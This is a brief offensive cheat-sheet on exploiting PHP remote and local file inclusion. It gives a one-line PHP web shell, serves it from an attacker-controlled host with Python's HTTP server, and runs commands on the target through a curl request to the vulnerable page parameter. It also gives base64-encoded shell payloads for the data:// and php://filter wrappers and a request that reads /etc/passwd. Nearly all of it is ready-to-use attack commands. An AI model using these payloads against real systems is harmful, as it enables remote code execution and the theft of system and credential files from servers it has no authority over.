If we find a way to include a remote file, we could try to include php code to execute commands on the host
http://<target>/index.php?page=http://<attacker>/shell.txt
We could serve a malicious PHP code so that the host interprets it.
echo '<?php system($_GET["cmd"]);?>' > shell.txt
python3 -m http.server 80
curl 'http://<target>/index.php?page=http://<attacker>/shell.txt&cmd=<comand>'
If the server were blocking access to external resources, we could try using the data:// wrapper to inject PHP code as base64.
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4K
php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4K
http://<target>/index.php?page=/etc/passwd